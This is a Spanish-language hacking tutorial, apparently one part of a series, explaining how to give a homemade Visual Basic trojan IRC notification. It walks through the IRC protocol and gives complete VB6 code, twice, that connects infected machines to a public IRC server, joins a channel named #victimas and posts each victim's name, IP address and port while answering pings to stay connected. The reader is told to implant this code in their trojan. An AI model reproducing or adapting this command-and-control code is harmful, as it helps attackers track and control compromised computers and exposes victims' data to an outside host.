-----------------------------------------------------------------------------
hola de nuevo, voy a explicar como programar en vb y en nuestro troyano hecho desde cero, que el servidor notifique su ip y los datos que queramos por IRC, osea: NOTIFICACION POR IRC
el troyano que esplique esta diseñado para conexion inversa, asi que noseria necesario esto, pero viene bien para tener recojidas alas victimas todas juntas en un canal de irc, en el cual nos conectemos y veamos que victimas ay on-line:
esto es mas sencillo de lo que parece, primero voy a explicar MUY de refilon el protocolo IRC;
abrir una consola de telnet, ahora escribir esto:
o luna.irc-hispano.org 6667
con esto establecemos una conexion con el servidor luna.irc-hispano.org por el puerto 6667, un puerto tipico de estos servidores, acontinuacion el servidor nos respondera con el siguiente mensaje:
:luna.irc-hispano.org NOTICE IP_LOOKUP :*** Found your hostname (CACHED!).
bien, ahora que el servidor nos a saludado, tenemos que decirle quienes somos y algun dato mas, veamoslo, escribir esto:
nick ellocodelacolina
y seguidamente:
user mañanamadrugo 4 * : y aqui estoy esplicando esto
con esto le hemos dicho al servidor nuestro nick y en el siguiente comando,
-user- es un "comando" del protocolo,
-mañanamadrugo- seria el nombre que le damos al servidor de nuestro usuario,
-4- es una mascara para la identificacion, que corresponde al modo +w, (si no entendeis esto bajaros un manual de irc o hecharle un ojo al protocolo, google: buscar protocolo irc, no es obligatorio pero si recomendable) no todos los servidores admiten esto, en caso contrario se omitiria ese campo y se pone en su lugar un cero,
-*- este campo no se usa con lo cual se pone cualkier cosa,
-:- separa todo eso de lo siguiente que es nuestro nombre real
-y aqui estoy esplicando esto- esto es el campo de el nombre real, puede tener espacios en blanco entre medio, y podeis poner la chorrada que querais, cualquier cosa menos lo que teoricamente habria que poner, osea nuestro nombre real, que les importara a ellos? poned lo que querais aqui
con esto ya estais identificados en el servidor, y ya teneis aceso a el, ahora si en algun momento veis este mensaje:
PING : 112398546
tendreis que responder rapidamente:
pong : 112398546
pong : y lo mismo que ponia en el ping, si no se responde asi, te caes del servidor, es una medida para saber que usuarios siguen en linea, y cuales no, como medida para tirar las conexiones que no pintan nada en el servidor... asi dais señales de vida y el servidor os dejara seguir con lo vuestro
entrar a un canal:
join #nombredelcanal
os saldra un mensajito del servidor, confirmando que lo habeis hecho bien:
ahora para hablar en el canal:
privmsg #nombredelcanal :mensaje, o lo que quieras poner
con esto ya podeis entender el codigo y vereis que facil es hacerlo, entendiendo antes como funciona!!!!!!!
-------------------------------------------------------------------------
visual basic,nuevo proyecto, exe estandar y añadis lo siguiente:
componente microsoft winsock renombrado a ws, 2 timer, y un boton:
1ª mision, conectar al servidor:
Private Sub Command1_Click()
ws.RemoteHost = "luna.irc-hispano.org"
ws.RemotePort = 6667
ws.Close
ws.Connect
empezar = True
Timer1.Interval = 2000
End Sub
si habeis seguido el curso entendereis todo este codigo y sobra esplicarlo!
pero lo que hemos hecho ay es que al pulsar el boton, conecte al servidor, se ponga el interruptor empezar a true y el intervalo de uno de los timer se ponga a 2 segundos.
2ª mision, identificarnos!
Private Sub Timer1_Timer()
If empezar = True Then
ws.SendData "nick Xenon" & vbCrLf 'envia el nick y vbcrlf manda el retorno de carro, la tecla intro
empezar = False
Else
ws.SendData "user fulano_x 4 * : fulanin" & vbCrLf
Timer1.Interval = 0
Timer2.Interval = 4000
End If
End Sub
al conectar y pasar 2 segundos, al estar activado el interruptor empezar, envia el comando "nick" con el nick y pulsa retorno de carro, el interruptor empezar se desconecta, y al pasar 2 segundos se vuelve a revisar el codigo del timer1 y como el interruptor empezar esta desactivado manda el comando "usuario" con los parametros correspondientes, pone el timer1 a 0 por que ya no se va a usar esto y pone el timer2 a 4 segundos para seguir con la 3ª mision.
3ª mision, entrar en el canal #victimas(por ejemplo) y escribir en el canal la ip, el puerto, y lo que nos de la gana:
Private Sub Timer2_Timer()
If user = False Then
ws.SendData "join #victimas" & vbCrLf
user = True
Else
ws.SendData "privmsg #victimas :victima" & victima & " puerto" & ws.localport & " ip" & ws.localip & vbCrLf
End If
End Sub
por defecto el interruptor user esta apagado, por tanto:
cada 4 segundos, si el interruptor user esta apagado, entra en el canal victimas, se pone el interruptor user encendido, asi que al volver a pasar 4 segundos NO volvera a entrar en el canal y escribira en el canal , la ip de la victima, el nombre, el puerto y lo que nos apetezca.
4ª mision, NO CAERNOS! por culpa del ping:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 6) = "PING :" Then
datos = Right(datos, Len(datos) - 6)
ws.SendData "pong :" & datos
End If
End Sub
si los primeros 6 datos que nos lleguen son igual a "PING :" entonces coje el resto de los datos que an llegado y los metes en la variable datos, luego mandas al servidor "pong :" y los datos, osea lo que ay que responderle al ping, (se le responde con lo mismo!!)
YA ESTA! ahora coje este codigo y implementalo en tu troyano, cosa facil, esperimentalo antes, haz pruebas cambia esos 4 segundos por un minuto o yo que se... y cambiar el nick por alguno raro raro, por que si no el server respondera como que ya esta usado y no funcionara!
es muy facil implementarlo al troyano, si ay dudas preguntar!!!!!
Dim empezar As Boolean
Dim user As Boolean
Private Sub Command1_Click()
ws.RemoteHost = "luna.irc-hispano.org"
ws.RemotePort = 6667
ws.Close
ws.Connect
empezar = True
Timer1.Interval = 2000
End Sub
Private Sub Timer1_Timer()
If empezar = True Then
ws.SendData "nick Xenon" & vbCrLf
empezar = False
Else
ws.SendData "user fulano_x 4 * : fulanin" & vbCrLf
Timer1.Interval = 0
Timer2.Interval = 4000
End If
End Sub
Private Sub Timer2_Timer()
If user = False Then
ws.SendData "join #victimas" & vbCrLf
user = True
Else
ws.SendData "privmsg #victimas :victima" & victima & " puerto" & ws.localport & " ip" & ws.localip & vbCrLf
End If
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 6) = "PING :" Then
datos = Right(datos, Len(datos) - 6)
ws.SendData "pong :" & datos
End If
End Sub
espero que os sirva este pequeño tutorial, aver si esplico mas cosas utiles otro dia como prometi !! hasta otra!!
un saludo!! Xenon, alias fulano_